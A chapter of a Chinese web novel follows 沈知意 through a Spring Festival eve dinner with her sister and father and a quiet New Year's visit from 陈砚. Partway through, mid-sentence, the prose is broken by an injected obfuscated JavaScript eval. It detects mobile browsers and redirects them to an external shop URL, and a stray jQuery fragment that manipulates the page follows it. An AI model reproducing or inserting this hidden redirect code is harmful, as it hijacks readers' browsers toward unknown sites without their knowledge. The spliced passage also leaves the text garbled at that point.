春节前三天，沈知意收到了陈砚发来的消息："今年春节你回哪过？"
沈知意当时正在办公室里做节前的最后收尾工作，看到那行字的时候手指停在键盘上。她想了想，回了一句："在家。沈婷婷会做一桌菜。"
陈砚那边很快回了："那初一我过来拜年。"
沈知意看着"拜年"那两个字，靠在椅背上笑了一下。她知道他说的"拜年"不是拜年，但她没有拆穿。她回了一个字："好。"
除夕那天沈婷婷从早上八点就开始在厨房忙了，做了一整天的菜。
沈建国下午过来的时候带了两瓶酒和一袋水果，坐在客厅里看电视。
沈知意没有进厨房帮忙，但她在客厅帮沈建国把电视调到了他常看的频道，又把茶几上的杂物收拾干净。沈建国坐在沙发上看着她收拾的动作，没有说"谢谢"，但他把茶杯端起来喝了一口，然后放下了。
晚上六点半开饭。
沈婷婷做了八个菜，摆了一桌子，比去年生日多两个。
三个人围坐在桌边，沈建国先举了杯："今年家里比以前好了。"
沈婷婷也端起了饮料，沈知意端起茶杯。
三只杯子在桌子中央碰了一下，发出清脆的声响。
吃饭的过程中沈婷婷一直在讲她在项目运营部跟的那个项目，讲到监理例会的时候语调明显高了起来。
沈建国听着偶尔插一两句问，沈知意大多数时候在吃菜，但她听着。
饭吃到尾声的时候沈婷婷突然站起来跑进厨房，出来的时候端了一小碗汤圆放在沈知意面前："姐，这是我自己包的黑芝麻馅的。你尝尝。"
沈知意低头看着那碗汤圆。
白白圆圆的，浮在清汤里，热气从碗口升起来。
她拿勺子舀了一个咬了一口——皮糯馅甜，黑芝麻的香味在嘴里化开。
"好吃。"她说。
沈婷婷站在桌边，脸因为高兴微微泛红："我学了一周。包坏了二十多个才包成这样的。"
沈知意又舀了一个吃了，放下勺子说了一句："明年继续包。"
沈婷婷咧开嘴笑了。
沈建国在旁边看着这一幕，没有插话，但他低头夹菜的时候嘴角动了一下。
晚饭后沈知意帮忙收了碗筷，沈婷婷在厨房洗碗，沈建国坐在客厅里继续看春晚。
沈知意走进自己房间，关上门，在窗台前站了一会儿。
窗台上那排八样东西在除夕夜的灯光里安安静静地待着，窗户外面远远传来零星的鞭炮声，隔了几条街，闷闷的。她伸手碰了一下那盆薄荷的叶片，冬天了，薄荷的叶子摸起来比夏天薄了一些，但根茎的底部已经冒出了新的绿点。
她收回手，然后听到客厅里沈婷婷的笑声传过来，隔着一道墙，不大，但很清晰。
她站在窗台前听着那串笑声，低头弯了一下嘴角，然后转身走回床边坐下。手机屏幕亮了——陈砚的消息："除夕快乐。明天几点到方便？"
沈知意看着那行字，回了一句："下午两点。"
陈砚那边秒回了一个"好"。
沈知意把手机放在床头柜上，躺下来。
窗外的鞭炮声还在响，零零星星的，一会儿近一会儿远。
她闭着眼听着那些声音，手搭在被子上，手指自然弯曲着。
一年前的除夕她是一个人过的。那时候她刚穿过来没多久，坐在这个房间里，周围的一切都是陌生的。而现在她躺在这个房间里，隔壁是沈婷婷还在走动的声音，窗外是鞭炮声，手机里存着一个说"明天下午两点"的人。
她翻了个身把被子拉好，闭着眼低声说了一句："明年应该会更好。"
声音在黑暗里散开，没有回答，但她不需要回答。
大年初一下午两点，门铃响了。
沈婷婷去开的门，看到陈砚站在门口，手里拎着两袋东西——一盒水果和一盒点心。他穿了一件深灰色的毛衣，外套搭在手臂上，比平时西装革履的样子随意了不少。
"新年好。"陈砚站在门口说。
沈婷婷侧身让他进来："新年好。我姐在客厅。"
陈砚走进客厅，沈知意正坐在沙发上看手机。
她今天穿了一件白色的针织衫，头发松松散在肩上，没有化妆。她抬头看了陈砚一眼，目光从他手里的东西移到他脸上："你带这么多东西来拜年？"
陈砚把水果和点心放在茶几上："路过的水果店开的。看着新鲜就买了。"
他坐在沙发另一侧，跟沈知意之间隔了一个人的位置。沈
婷婷给两个人倒了茶然后识趣地回了房间，客厅里剩下他们两个人。
沈知意端起茶杯喝了一口："你昨天除夕怎么过的？"
陈砚也端起茶杯，杯沿在嘴唇上停了一瞬："一个人。做了几个菜，自己吃的。"
沈知意端着茶杯看着他："你一个人做了几个菜？"
"三个。吃不完，今天早上热了当早饭。"
沈知意把茶杯放下来，没有说话。
她转头看了一眼窗台的方向，今天窗台上那排八样东西在冬日下午的阳光里被照得很清楚，每一盆都在自己的位置上站着。她转回头看着陈砚："那你今天下午在我这边吃晚饭吧。沈婷婷做的菜多，有剩的。"
陈砚坐在沙发上，手里端着那杯茶，看着她："好。"
下午的时间里两个人坐在客厅里，电视开着但没有在看。
沈知意跟他聊了聊子公司融资的后续进度，陈砚说了说城南项目春节后的节点安排。
中间沈婷婷从房间里出来倒水两次，路过客厅的时候目光偷偷扫了一下两个人坐的位置——中间隔了一个人的距离，不远不近。
她倒完水回房间之后给林溪发了条消息："陈砚在我家客厅坐着。他俩中间隔了一个人的空位。正常吗？"
林溪那边过了半分钟回了一条："你觉得正常就正常。"
沈婷婷看着那行字，把手机放下，靠在门边竖着耳朵听了一小会儿。客厅里传来说话声，不高不低，偶尔夹杂一声笑。她听了一会儿然后走回床上坐下，脸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17837928|211527||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上表情很微妙，但她没有再去客厅。
晚饭时间沈婷婷把菜热了一遍端上桌。
四菜一汤，比昨晚少了一半，但四个人吃足够。
陈砚坐在沈知意旁边的位置，沈婷婷坐在对面。
吃饭的时候沈婷婷话比平时少了一些，但她注意到一个细节——陈砚夹菜的时候会先看沈知意夹了什么，然后才夹自己那份。
中间沈知意杯里的茶水凉了，陈砚放下筷子帮她把茶壶里的热茶续上了。
动作很自然，像做过很多次。
沈婷婷低头扒饭，用碗挡着自己脸上的表情。但她嘴角的弧度没压住。
晚饭后陈砚帮忙收了碗筷，沈知意站在厨房门口看着他站在水池边把碗冲了一遍放进洗碗机。他做这个动作的时候袖子卷到了小臂中段，露出半截手腕。
"你还会用洗碗机？"沈知意靠在门框上。
陈砚关上洗碗机的门，按了启动键，转过身来看着她："去年学会的。之前只会手洗。"
沈知意看着他卷着袖子站在厨房暖黄色灯光下的样子，没有说话。厨房里的水汽还没散尽，空气里带着洗洁精的清淡气味。陈砚把袖子放下来，走到她面前站定："我该走了。明天开工。"
沈知意让开门口的位置，跟他一起走到玄关。
他换鞋的时候低头系鞋带，动作不紧不慢，跟几个月前来她家楼下拿文件那次一样的节奏。他系完鞋带直起身来，看着她："你明年春节还在这过？"
沈知意靠在玄关的墙上："不一定。看明年在哪。"
陈砚站在门口，门已经开了半扇，冬夜的冷风从门缝里灌进来。
他看着她说："那明年春节要是换地方了，告诉我一声。"他说完转身走了出去。门在他身后关上，冷风被挡在外面。
沈知意站在玄关里，低头看着门底下那道缝隙透进来的光。
她转身走回客厅，沈婷婷从房间里探出头来："姐，陈砚走了？"
"走了。"
沈婷婷缩回房间，门关上了。
沈知意走到窗台前，看着外面冬夜的街道。路灯把路面照成暖黄色，偶尔有一两片枯叶被风卷起来贴着地面滑过去。她在窗台前站了一会儿，然后低头看了一眼手机——陈砚在五分钟前发了一条信息。
沈知意看着那行字，把手机举起来对着窗台上那排东西拍了张照片发过去。
八样东西整整齐齐站成一排，在路灯投进来的微光里各自投下淡淡的影子。
她附了一句话："窗台满了。下次来可以看这个。"
陈砚那边回了一句话："看到了。会多来的。"
沈知意把手机放下来，看着窗台上那排东西，伸手挨个碰了一遍——绿萝、薄荷、罗汉松、文竹、虎皮兰、三只水杯。
每一样都在。
她碰完之后转身走回卧室。
躺下来之后她闭着眼，窗外的冬夜很安静，没有鞭炮声了，只有远处偶尔传来一两声汽车驶过的声音。
她翻了个身，把被子裹好，嘴角弯着。